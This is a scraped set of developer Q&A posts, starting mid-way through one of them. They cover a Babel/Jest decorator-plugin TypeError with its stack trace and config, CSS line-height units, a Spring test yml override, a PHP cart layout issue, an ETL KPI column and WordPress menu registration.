      at TraversalContext.visitMultiple [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:174:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:150:21)
      at TraversalContext.visitQueue [as visitSingle] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:108:19)
      at TraversalContext.visitSingle [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:176:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitMultiple] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:98:17)
      at TraversalContext.visitMultiple [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:174:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:150:21)
      at TraversalContext.visitQueue [as visitSingle] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:108:19)
</code>```

Any idea why? Is there anything wrong with my .babelrc.json file? Thank you. How can I find the line which raised the error?

By the way, I copied antlr4ts/src into my project to avoid circle import issue. I am using jazelle, and Yarn PNP

Body:
My .babelrc.json file:

{
  "presets": [
    ["@babel/preset-env", { "targets": { "node": "current" } }],
    "@babel/preset-typescript"
  ],
  "plugins": [
    ["@babel/plugin-proposal-decorators", {"legacy": true}],
    ["@babel/plugin-syntax-decorators", {"legacy": true}],
    ["@babel/plugin-proposal-class-properties", { "loose" : true }],
    "babel-plugin-parameter-decorator"
  ],
  "env": {
    "test": {
      "plugins": [
        ["@babel/plugin-proposal-decorators", {"legacy": true}],
        ["@babel/plugin-syntax-decorators", {"legacy": true}],
        ["@babel/plugin-proposal-class-properties", { "loose" : true }],
        "babel-plugin-parameter-decorator"
      ],
      "presets": [
        ["@babel/preset-env", { "targets": { "node": "current" } }],
        "@babel/preset-typescript"
      ]
    }
  }
}

My jest.config.js file:

module.exports = {
  projects: [
    {
      displayName: 'node',
      rootDir: __dirname,
      testEnvironment: 'node',
      testPathIgnorePatterns: ['/node_modules/', '.browser.js', 'dist'],
      transform: {
        '^.+\\.[t|j]sx?$': './babel-jest-transformer.js',
      },
      transformIgnorePatterns: ['node_modules/yaml$'],
      globals: {
        __NODE__: true,
        __BROWSER__: false,
        __DEV__: true,
      },
    },
    {
      displayName: 'browser',
      rootDir: __dirname,
      testEnvironment: 'jsdom',
      testPathIgnorePatterns: ['/node_modules/', '.node.js', 'dist'],
      transform: {
        '^.+\\.[t|j]sx?$': './babel-jest-transformer.js',
      },
      transformIgnorePatterns: ['node_modules/yaml$'],
      globals: {
        __NODE__: false,
        __BROWSER__: true,
        __DEV__: true,
      },
    },
  ],
  coverageReporters: ['cobertura', 'html'],
};

My devDependencies:

    "@babel/plugin-syntax-decorators": "7.19.0",
    "@babel/plugin-proposal-decorators": "7.20.5",
    "@babel/preset-env": "^7.16.11",
    "@babel/plugin-proposal-class-properties": "^7.16.7",
    "@babel/preset-typescript": "7.18.6",
    "babel-plugin-parameter-decorator": "1.0.16",

When I run jz test, I got the following:

  ● Test suite failed to run

    TypeError: /Users/proj/src/libts/antlr4ts/atn/SemanticContext.ts: Property name expected type of string but got undefined

      at validate (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/definitions/utils.ts:182:13)
      at Object.fn [as validate] (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/definitions/utils.ts:252:7)
      at validate (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/validators/validate.ts:32:9)
      at validateField (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/validators/validate.ts:19:3)
      at validateNode (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/builders/validateNode.ts:9:13)
      at Object.identifier (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/builders/generated/index.ts:244:22)
      at ../../../../../../.yarn/cache/babel-plugin-parameter-decorator-npm-1.0.16-d82c52e96f-5a0d8ce40b.zip/node_modules/babel-plugin-parameter-decorator/lib/index.js:23:82
      at ../../../../../../.yarn/cache/babel-plugin-parameter-decorator-npm-1.0.16-d82c52e96f-5a0d8ce40b.zip/node_modules/babel-plugin-parameter-decorator/lib/index.js:222:85
          at Array.forEach (<anonymous>)
      at ../../../../../../.yarn/cache/babel-plugin-parameter-decorator-npm-1.0.16-d82c52e96f-5a0d8ce40b.zip/node_modules/babel-plugin-parameter-decorator/lib/index.js:204:30
          at Array.forEach (<anonymous>)
      at PluginPass.Function (../../../../../../.yarn/cache/babel-plugin-parameter-decorator-npm-1.0.16-d82c52e96f-5a0d8ce40b.zip/node_modules/babel-plugin-parameter-decorator/lib/index.js:201:44)
      at call (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/visitors.ts:250:21)
      at NodePath.call [as _call] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:34:20)
      at NodePath._call [as call] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:19:17)
      at NodePath.call [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:92:31)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitMultiple] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:98:17)
      at TraversalContext.visitMultiple [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:174:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitSingle] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:108:19)
      at TraversalContext.visitSingle [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:176:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitSingle] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:108:19)
      at TraversalContext.visitSingle [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:176:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitMultiple] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:98:17)
      at TraversalContext.visitMultiple [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:174:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:150:21)
      at TraversalContext.visitQueue [as visitSingle] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:108:19)
      at TraversalContext.visitSingle [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:176:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitMultiple] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:98:17)
      at TraversalContext.visitMultiple [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:174:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:150:21)
      at TraversalContext.visitQueue [as visitSingle] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:108:19)

Any idea why? Is there anything wrong with my .babelrc.json file? Thank you. How can I find the line which raised the error?

By the way, I copied antlr4ts/src into my project to avoid circle import issue. I am using jazelle, and Yarn PNP


问:
I am a designer, is there any reason to use unitless line-height over pixel? On handover is it preferred to pixel?
I am working on a product and am curious is there a best practice or preferred way for front end on to receive line-height. Unitless over pixel and why?

I tend to use multiples of 4, 8, 12, 16 etc for spacing in my grid and organization.
Is it easier if the line-height follows similar rules for dev? 16, 20, 24, 28
or should I stick to unitless line-height and use what looks right meaning if line-height is 1.56 (16*1.56 = 24.96) just go that route?

Thank you

I research many sites and found out that unitless is preferred but no reason why or if that should be included in handoff. I read about keeping a vertical rhythm of multiples of 4 in regards to line-height but what if it looks better at 1.625 (25.6px)


问:
Separate functional testing module kept to take the value of application module's yml file
I am trying to write a functional testing module for my application module. As I said here, they are two different modules. Please refer to the following screenshot.

As you can see from the screenshot, I did create its own application-functional.yml for the functional testing module. But what I noticed is that when the testing running, it used the properties in the application.yml file.
Please note that the functional testing project does include the application project as a dependencies.

Any idea? Please help.


问:
my amazon cart ATC not response to my css
This is my coding line. the

```<code><?php include '../includes/amazon-cart.php' ?>
</code>```

is not responsive.

          New Customers Only

- Price Per Bottle:

              <s>$99</s>
             $27

          Savings: $216

        <?php include '../includes/amazon-cart.php' ?>

        <form id="buy-form" action="/go/order.php" method="get">
          <input type="hidden" name="pid" value="<?php echo ${$funnel.'_SKU'}; ?>">
          <button type="submit"
            name="submit-test"
            value="1"
            class="submit-order-btn btn-lg btn-yellow1 p-4 p-relative"
            alt="Submit Form"
          >

ADD TO ORDER

          </button>

          <?php if(!isset($_COOKIE['pp_preference']) && isset($_COOKIE['vault'])){ ?>

By clicking "Add To Order" button, your card will automatically be charged.

          <?php } ?>
        </form>

```

but now it became like this

It supposed to be like this

Body:
This is my coding line. the

<?php include '../includes/amazon-cart.php' ?>

is not responsive.

          New Customers Only

- Price Per Bottle:

              <s>$99</s>
             $27

          Savings: $216

        <?php include '../includes/amazon-cart.php' ?>

        <form id="buy-form" action="/go/order.php" method="get">
          <input type="hidden" name="pid" value="<?php echo ${$funnel.'_SKU'}; ?>">
          <button type="submit"
            name="submit-test"
            value="1"
            class="submit-order-btn btn-lg btn-yellow1 p-4 p-relative"
            alt="Submit Form"
          >

ADD TO ORDER

          </button>

          <?php if(!isset($_COOKIE['pp_preference']) && isset($_COOKIE['vault'])){ ?>

By clicking "Add To Order" button, your card will automatically be charged.

          <?php } ?>
        </form>

but now it became like this

It supposed to be like this


问:
New columns creation in ETL process for Data Warehousing/Reporting

Question

I am having one Customer table with fields like Customer_id, is_verified ... etc

I want to have verified customer percentage KPI in the reports.

Usecase

I am working on an ETL process to build a data warehouse from the source.

Now in the ETL should I have this new column created before storing the table in data warehouse? >> If I do this then how should this value be stored. Should I create a new table just for this value or it should be stored in the same table?

Or this metric should be created in BI tool?


问:
How call wp_nav_menu?
I am learning to convert HTML website to WordPress. I want to register this menu but does not know  how to call these classes. wp_nav_menu anyone can help me to fix  this menu into website with code.

Below function used to register menu in functions.php

```<code><?php register_nav_menus(array('primary-menu'=>'Header Menu'))?>
</code>```

Home

Water Filters

Linen Care

Air Conditioner

Vacuum Cleaners

Sewing Machine

Sports at Home

Home Security

Bedroom

Mattress

Pillows

Kitchen

Dishwasher

Coffee

Juice Extractors

Blenders

Barbecue

Deep Fryer

Bathroom

Bathroom

Gardening

Mower

Who we are ?

Home

Water Filters

Linen Care

Air Conditioner

Vacuum Cleaners

Sewing Machine

Sports at Home

Home Security

Bedroom

Mattress

Pillows

Kitchen

Dishwasher

Coffee

Juice Extractors

Blenders

Barbecue

Deep Fryer

Bathroom

Bathroom

Gardening

Mower

Who we are ?

                                <svg class="ftlg-btn-search" width="20" height="19" viewBox="0 0 20 19" fill="none">
                                    <path d="M18.7778 17.275L14.2639 12.5803C15.4245 11.2006 16.0604 9.46469 16.0604 7.65751C16.0604 3.43523 12.6252 0 8.40288 0C4.18059 0 0.745361 3.43523 0.745361 7.65751C0.745361 11.8798 4.18059 15.315 8.40288 15.315C9.98798 15.315 11.4985 14.8369 12.79 13.9294L17.3382 18.6597C17.5283 18.8571 17.784 18.966 18.058 18.966C18.3174 18.966 18.5634 18.8671 18.7502 18.6873C19.147 18.3055 19.1597 17.6722 18.7778 17.275ZM8.40288 1.99761C11.5238 1.99761 14.0628 4.53658 14.0628 7.65751C14.0628 10.7785 11.5238 13.3174 8.40288 13.3174C5.28194 13.3174 2.74297 10.7785 2.74297 7.65751C2.74297 4.53658 5.28194 1.99761 8.40288 1.99761Z"/>
                                </svg>
                                <svg class="ftlg-btn-close" width="24" height="24" viewBox="0 0 24 24" fill="none"
                                     xmlns="http://www.w3.org/2000/svg">
                                    <rect width="20.3644" height="2.26271" rx="0.4"
                                          transform="matrix(-0.707096 -0.707118 -0.707096 0.707118 20 18.4)"/>
                                    <rect width="20.3644" height="2.26271" rx="0.4"
                                          transform="matrix(0.707096 -0.707118 0.707096 0.707118 4 18.4)"/>
                                </svg>

                                        <form role="search" method="get" class="search-form" action="https://mywebsite.com/">
        <input type="text" name="s"
               placeholder="" class="re-ajax-search" autocomplete="off" data-posttype="post">
        <input type="hidden" name="post_type" value="post"/>
        <button type="submit" class="btnsearch"></button>
    </form>

```

This above html code with css is used in my html website for navigation menu. This menu is responsive on tablet and mobile with side menu

Title: How call wp_nav_menu?

Body:
I am learning to convert HTML website to WordPress. I want to register this menu but does not know  how to call these classes. wp_nav_menu anyone can help me to fix  this menu into website with code.

Below function used to register menu in functions.php

<?php register_nav_menus(array('primary-menu'=>'Header Menu'))?>

Home

Water Filters

Linen Care

Air Conditioner

Vacuum Cleaners

Sewing Machine

Sports at Home

Home Security

Bedroom

Mattress

Pillows

Kitchen

Dishwasher

Coffee

Juice Extractors

Blenders

Barbecue

Deep Fryer

Bathroom

Bathroom

Gardening

Mower

Who we are ?

Home

Water Filters

Linen Care

Air Conditioner

Vacuum Cleaners

Sewing Machine

Sports at Home

Home Security

Bedroom

Mattress

Pillows

Kitchen

Dishwasher

Coffee

Juice Extractors

Blenders

Barbecue

Deep Fryer

Bathroom

Bathroom

Gardening

Mower

Who we are ?

                                <svg class="ftlg-btn-search" width="20" height="19" viewBox="0 0 20 19" fill="none">
                                    <path d="M18.7778 17.275L14.2639 12.5803C15.4245 11.2006 16.0604 9.46469 16.0604 7.65751C16.0604 3.43523 12.6252 0 8.40288 0C4.18059 0 0.745361 3.43523 0.745361 7.65751C0.745361 11.8798 4.18059 15.315 8.40288 15.315C9.98798 15.315 11.4985 14.8369 12.79 13.9294L17.3382 18.6597C17.5283 18.8571 17.784 18.966 18.058 18.966C18.3174 18.966 18.5634 18.8671 18.7502 18.6873C19.147 18.3055 19.1597 17.6722 18.7778 17.275ZM8.40288 1.99761C11.5238 1.99761 14.0628 4.53658 14.0628 7.65751C14.0628 10.7785 11.5238 13.3174 8.40288 13.3174C5.28194 13.3174 2.74297 10.7785 2.74297 7.65751C2.74297 4.53658 5.28194 1.99761 8.40288 1.99761Z"/>
                                </svg>
                                <svg class="ftlg-btn-close" width="24" height="24" viewBox="0 0 24 24" fill="none"
                                     xmlns="http://www.w3.org/2000/svg">
                                    <rect width="20.3644" height="2.26271" rx="0.4"
                                          transform="matrix(-0.707096 -0.707118 -0.707096 0.707118 20 18.4)"/>
                                    <rect width="20.3644" height="2.26271" rx="0.4"
                                          transform="matrix(0.707096 -0.707118 0.707096 0.707118 4 18.4)"/>
                                </svg>

                                        <form role="search" method="get" class="search-form" action="https://mywebsite.com/">
        <input type="text" name="s"
               placeholder="" class="re-ajax-search" autocomplete="off" data-posttype="post">
        <input type="hidden" name="post_type" value="post"/>
        <button type="submit" class="btnsearch"></button>
    </form>

This above html code with css is used in my html website for navigation menu. This menu is responsive on tablet and mobile with side menu